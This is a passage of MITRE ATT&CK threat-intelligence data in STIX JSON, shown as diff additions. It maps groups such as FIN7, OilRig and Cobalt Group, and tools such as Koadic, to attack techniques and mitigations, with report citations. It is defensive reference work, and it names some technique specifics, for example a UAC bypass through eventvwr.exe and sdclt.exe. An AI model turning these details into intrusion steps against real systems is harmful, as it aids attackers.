"https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--0ced8926-914e-4c78-bc93-356fb90dbd1f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--49d09bc3-cdc0-479b-8516-f64bff9b6757", + "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc", + "modified": "2019-06-30T23:13:18.592Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.", + "source_name": "FireEye FIN7 April 2017", + "url": "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html" + }, + { + "source_name": "FireEye FIN7 Aug 2018", + "description": "Carr, N., et al. (2018, August 01). On the Hunt for FIN7: Pursuing an Enigmatic and Evasive Global Criminal Operation. Retrieved August 23, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--51dea151-0898-4a45-967c-3ebee0420484", + "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) moved laterally via RDP.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--4c1e067a-0644-4142-8111-c1acdc8c1625", + "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71", + "modified": "2019-03-22T20:13:49.615Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.", + "source_name": "US-CERT TA18-074A", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A" + }, + { + "source_name": "US-CERT APT Energy Oct 2017", + "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967", + "description": "[Janicab](https://attack.mitre.org/software/S0163) captured audio and sent it out to a C2 server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--8b5d4742-35a6-4ab7-993c-e20831ab0020", + "source_ref": "malware--234e7770-99b0-4f65-b983-d3230f76a60b", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Brod. (2013, July 15). Signed Mac Malware Using Right-to-Left Override Trick. Retrieved July 17, 2017.", + "source_name": "f-secure janicab", + "url": "https://www.f-secure.com/weblog/archives/00002576.html" + }, + { + "description": "Thomas. (2013, July 15). New signed malware called Janicab. Retrieved July 17, 2017.", + "source_name": "Janicab", + "url": "http://www.thesafemac.com/new-signed-malware-called-janicab/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be", + "description": "[Koadic](https://attack.mitre.org/software/S0250) has 2 methods for elevating integrity. It can bypass UAC through eventvwr.exe and sdclt.exe.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--6b794c49-0734-446c-9192-5b1e1cf06be0", + "source_ref": "tool--c8655260-9f4b-44e3-85e1-6538a5f6e4f4", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Magius, J., et al. (2017, July 19). Koadic. Retrieved June 18, 2018.", + "source_name": "Github Koadic", + "url": "https://github.com/zerosum0x0/koadic" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.050Z", + "id": "relationship--ba1a4084-a74f-44d6-bafe-7a09ee959270", + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "modified": "2019-07-25T14:25:53.636Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "F-Secure The Dukes", + "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.", + "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d54416bd-0803-41ca-870a-ce1af7c05638", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.019Z", + "id": "relationship--bd5699e8-8765-4f24-8307-c81a296b87e0", + "source_ref": "course-of-action--2a8de25c-f743-4348-b101-3ee33ab5871b", + "modified": "2019-07-24T14:26:14.586Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--a10641f4-87b4-45a3-a906-92a149cb2c27", + "description": "[APT3](https://attack.mitre.org/groups/G0022) has been known to add created accounts to local admin groups to maintain elevated access.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--62f16083-efca-477c-8107-e208ca4c75cb", + "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", + "modified": "2019-04-29T18:01:20.628Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "aptsim", + "description": "valsmith. (2012, September 21). More on APTSim. Retrieved September 28, 2017.", + "url": "http://carnal0wnage.attackresearch.com/2012/09/more-on-aptsim.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[Ke3chang](https://attack.mitre.org/groups/G0004) malware RoyalCli and BS2005 have communicated over HTTP with the C2 server through Internet Explorer (IE) by using the COM interface IWebBrowser2. Additionally, [Ke3chang](https://attack.mitre.org/groups/G0004) malware RoyalDNS has used DNS for C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--cc79d8c5-f7c9-4c8b-810d-e57d70a07d4f", + "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", + "modified": "2019-04-22T15:08:48.493Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "NCC Group APT15 Alive and Strong", + "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.", + "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e", + "description": "[FIN7](https://attack.mitre.org/groups/G0046) has used ports 53, 80, 443, and 8080 for C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--b8530dbc-8ede-4b30-b0c1-f32bf2a081eb", + "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc", + "modified": "2019-06-30T23:13:18.464Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye FIN7 Aug 2018", + "description": "Carr, N., et al. (2018, August 01). On the Hunt for FIN7: Pursuing an Enigmatic and Evasive Global Criminal Operation. Retrieved August 23, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--20138b9d-1aac-4a26-8654-a36b6bbf2bba", + "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) sent shortened URL links over email to victims. The URLs linked to Word documents with malicious macros that execute PowerShells scripts to download Pupy.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--808f140e-8b7b-4efa-8708-2f2308b2fc41", + "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", + "modified": "2019-09-09T19:21:42.477Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Counter Threat Unit Research Team. (2017, July 27). The Curious Case of Mia Ash: Fake Persona Lures Middle Eastern Targets. Retrieved February 26, 2018.", + "source_name": "SecureWorks Mia Ash July 2017", + "url": "https://www.secureworks.com/research/the-curious-case-of-mia-ash" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--46944654-fcc1-4f63-9dad-628102376586", + "description": "[MirageFox](https://attack.mitre.org/software/S0280) is likely loaded via DLL hijacking into a legitimate McAfee binary.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--883762ff-5cb3-49af-87a2-6a128a1ce939", + "source_ref": "malware--e3cedcfe-6515-4348-af65-7f2c4157bf0d", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Rosenberg, J. (2018, June 14). MirageFox: APT15 Resurfaces With New Tools Based On Old Ones. Retrieved September 21, 2018.", + "source_name": "APT15 Intezer June 2018", + "url": "https://www.intezer.com/miragefox-apt15-resurfaces-with-new-tools-based-on-old-ones/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--62b8c999-dcc0-4755-bd69-09442d9359f5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--98c18956-03d7-49e5-93b2-44351682331d", + "source_ref": "course-of-action--8c918d8a-11c5-4ffd-af10-e74bc06bdfae", + "modified": "2019-07-25T11:36:40.768Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) has used powershell.exe to download and execute scripts.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--70d1a246-4ff2-452d-babf-ed47bccbf1c4", + "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a", + "modified": "2019-07-26T23:38:34.145Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Talos Cobalt Group July 2018", + "description": "Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.", + "url": "https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html" + }, + { + "source_name": "PTSecurity Cobalt Group Aug 2017", + "description": "Positive Technologies. (2017, August 16). Cobalt Strikes Back: An Evolving Multinational Threat to Finance. Retrieved September 5, 2018.", + "url": "https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-2017-eng.pdf" + }, + { + "source_name": "PTSecurity Cobalt Dec 2016", + "description": "Positive Technologies. (2016, December 16). Cobalt Snatch. Retrieved October 9, 2018.", + "url": "https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-Snatch-eng.pdf" + }, + { + "source_name": "Group IB Cobalt Aug 2017", + "description": "Matveeva, V. (2017, August 15). Secrets of Cobalt. Retrieved October 10, 2018.", + "url": "https://www.group-ib.com/blog/cobalt" + }, + { + "source_name": "RiskIQ Cobalt Jan 2018", + "description": "Klijnsma, Y.. (2018, January 16). First Activities of Cobalt Group in 2018: Spear Phishing Russian Banks. Retrieved October 10, 2018.", + "url": "https://www.riskiq.com/blog/labs/cobalt-group-spear-phishing-russian-banks/" + }, + { + "source_name": "TrendMicro Cobalt Group Nov 2017", + "description": "Giagone, R., Bermejo, L., and Yarochkin, F. (2017, November 20). Cobalt Strikes Again: Spam Runs Use Macros and CVE-2017-8759 Exploit Against Russian Banks. Retrieved March 7, 2019.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/cobalt-spam-runs-use-macros-cve-2017-8759-exploit/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--b136d088-a829-432c-ac26-5529c26d4c7e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.050Z", + "id": "relationship--1593ae11-0bb5-4e16-804a-1383eb0cced5", + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "modified": "2019-07-25T14:25:53.641Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "F-Secure The Dukes", + "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.", + "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839", + "description": "[FIN8](https://attack.mitre.org/groups/G0061) has exploited the CVE-2016-0167 local vulnerability.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--45626c7f-c401-427b-9589-c91a4b2a4f7f", + "source_ref": "intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826", + "modified": "2019-03-22T20:21:57.756Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye Fin8 May 2016", + "description": "Kizhakkinan, D. et al.. (2016, May 11). Threat Actor Leverages Windows Zero-day Exploit in Payment Card Data Attacks. Retrieved February 12, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2016/05/windows-zero-day-payment-cards.html" + }, + { + "source_name": "FireEye Know Your Enemy FIN8 Aug 2016", + "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.", + "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.032Z", + "id": "relationship--3cd8ef78-9d92-4e28-97ae-5bd6c698bfec", + "source_ref": "intrusion-set--8f5e8dc7-739d-4f5e-a8a1-a66e004d7063", + "modified": "2019-03-22T20:00:23.926Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.", + "source_name": "Cylance Cleaver", + "url": "https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ffe742ed-9100-4686-9e00-c331da544787", + "description": "[Threat Group-1314](https://attack.mitre.org/groups/G0028) actors mapped network drives using net use.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.064Z", + "id": "relationship--0512a63b-58c8-4b0c-b2b4-e4da562cee5f", + "source_ref": "intrusion-set--d519164e-f5fa-4b8c-a1fb-cf0172ad0983", + "modified": "2019-03-25T17:01:21.292Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Dell TG-1314", + "description": "Dell SecureWorks Counter Threat Unit Special Operations Team. (2015, May 28). Living off the Land. Retrieved January 26, 2016.", + "url": "http://www.secureworks.com/resources/blog/living-off-the-land/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--4807dbdc-6bcb-4aed-96f4-a782551eaefe", + "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a", + "modified": "2019-07-26T23:38:34.296Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "PTSecurity Cobalt Group Aug 2017", + "description": "Positive Technologies. (2017, August 16). Cobalt Strikes Back: An Evolving Multinational Threat to Finance. Retrieved September 5, 2018.", + "url": "https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-2017-eng.pdf" + }, + { + "source_name": "PTSecurity Cobalt Dec 2016", + "description": "Positive Technologies. (2016, December 16). Cobalt Snatch. Retrieved October 9, 2018.", + "url": "https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-Snatch-eng.pdf" + }, + { + "source_name": "Group IB Cobalt Aug 2017", + "description": "Matveeva, V. (2017, August 15). Secrets of Cobalt. Retrieved October 10, 2018.", + "url": "https://www.group-ib.com/blog/cobalt" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5", + "description": "[APT32](https://attack.mitre.org/groups/G0050) has attempted to lure users to execute a malicious dropper delivered via a spearphishing attachment.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--ea7c1a9f-7d8e-4a06-8331-9901a33ee7d8", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "modified": "2019-07-17T13:11:38.461Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET OceanLotus", + "description": "Folt\u00fdn, T. (2018, March 13). OceanLotus ships new backdoor using old tricks. Retrieved May 22, 2018.", + "url": "https://www.welivesecurity.com/2018/03/13/oceanlotus-ships-new-backdoor/" + }, + { + "source_name": "Cybereason Oceanlotus May 2017", + "description": "Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018.", + "url": "https://www.cybereason.com/blog/operation-cobalt-kitty-apt" + }, + { + "source_name": "ESET OceanLotus Mar 2019", + "description": "Dumont, R. (2019, March 20). Fake or Fake: Keeping up with OceanLotus decoys. Retrieved April 1, 2019.", + "url": "https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--a257ed11-ff3b-4216-8c9d-3938ef57064c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.027Z", + "id": "relationship--cb35f782-6fb4-4a0c-b549-8af99dbc57fd", + "source_ref": "course-of-action--3a476d83-43eb-4fad-9b75-b1febd834e3d", + "modified": "2019-07-25T11:21:52.923Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[OopsIE](https://attack.mitre.org/software/S0264) can download files from its C2 server to the victim's machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--978dbb17-c5c5-4248-8385-9dc6f691030b", + "source_ref": "malware--8e101fdd-9f7f-4916-bb04-6bd9e94c129c", + "modified": "2019-04-24T23:40:23.531Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Lee, B., Falcone, R. (2018, February 23). OopsIE! OilRig Uses ThreeDollars to Deliver New Trojan. Retrieved July 16, 2018.", + "source_name": "Unit 42 OopsIE! Feb 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/" + }, + { + "description": "Falcone, R., et al. (2018, September 04). OilRig Targets a Middle Eastern Government and Adds Evasion Techniques to OopsIE. Retrieved September 24, 2018.", + "source_name": "Unit 42 OilRig Sept 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-oilrig-targets-middle-eastern-government-adds-evasion-techniques-oopsie/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "description": "[RedLeaves](https://attack.mitre.org/software/S0153) can gather browser usernames and passwords.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--4086a9d6-5574-48fb-be8d-e8406145e740", + "source_ref": "malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Accenture Security. (2018, April 23). Hogfish Redleaves Campaign. Retrieved July 2, 2018.", + "source_name": "Accenture Hogfish April 2018", + "url": "https://www.accenture.com/t20180423T055005Z_w_/se-en/_acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "description": "[JPIN](https://attack.mitre.org/software/S0201) can obtain the victim user name.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--7a181608-6005-4d42-b4a2-0e2de8b8ff95", + "source_ref": "malware--de6cb631-52f6-4169-a73b-7965390b0c30", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.", + "source_name": "Microsoft PLATINUM April 2016", + "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433", + "description": "[OilRig](https://attack.mitre.org/groups/G0049) malware ISMAgent falls back to its DNS tunneling mechanism if it is unable to reach the C2 server over HTTP.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--12daddcc-b964-485e-8c2d-10f554d78bcc", + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "modified": "2019-09-04T22:55:41.315Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R. and Lee, B. (2017, July 27). OilRig Uses ISMDoor Variant; Possibly Linked to Greenbug Threat Group. Retrieved January 8, 2018.", + "source_name": "OilRig ISMAgent July 2017", + "url": "https://researchcenter.paloaltonetworks.com/2017/07/unit42-oilrig-uses-ismdoor-variant-possibly-linked-greenbug-threat-group/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790", + "description": "If running as administrator, [TDTESS](https://attack.mitre.org/software/S0164) installs itself as a new service named bmwappushservice to establish persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--e2b4bcf2-58a6-49ed-bc72-21226ff419bd", + "source_ref": "malware--0b32ec39-ba61-4864-9ebe-b4b0b73caf9a", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.", + "source_name": "ClearSky Wilted Tulip July 2017", + "url": "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", + "description": "[yty](https://attack.mitre.org/software/S0248) collects screenshots of the victim machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--b81d449d-9ebd-4fb8-a77a-bb6bca93581b", + "source_ref": "malware--0817aaf2-afea-4c32-9285-4dcd1df5bf14", + "modified": "2019-04-25T00:09:23.202Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ASERT Donot March 2018", + "description": "Schwarz, D., Sopko J. (2018, March 08). Donot Team Leverages New Modular Malware Framework in South Asia. Retrieved June 11, 2018.", + "url": "https://www.arbornetworks.com/blog/asert/donot-team-leverages-new-modular-malware-framework-south-asia/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--294e2560-bd48-44b2-9da2-833b5588ad11", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--72d6fe7e-ba33-4117-8153-64226f189ed2", + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "modified": "2019-09-04T22:55:41.874Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Palo Alto OilRig May 2016", + "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", + "description": "A [Threat Group-3390](https://attack.mitre.org/groups/G0027) tool can read and decrypt stored Registry values.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--3559da63-5706-4e5a-b130-89858c2c0f44", + "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", + "modified": "2019-07-14T21:15:55.365Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Nccgroup Emissary Panda May 2018", + "description": "Pantazopoulos, N., Henry T. (2018, May 18). Emissary Panda \u2013 A potential new malicious tool. Retrieved June 25, 2018.", + "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/may/emissary-panda-a-potential-new-malicious-tool/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d54416bd-0803-41ca-870a-ce1af7c05638", + "description": "[RawPOS](https://attack.mitre.org/software/S0169) encodes credit card data it collected from the victim with XOR.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--53ad6525-7888-4651-bd43-c010b489ccc0", + "source_ref": "malware--9752aef4-a1f3-4328-929f-b64eb0536090", + "modified": 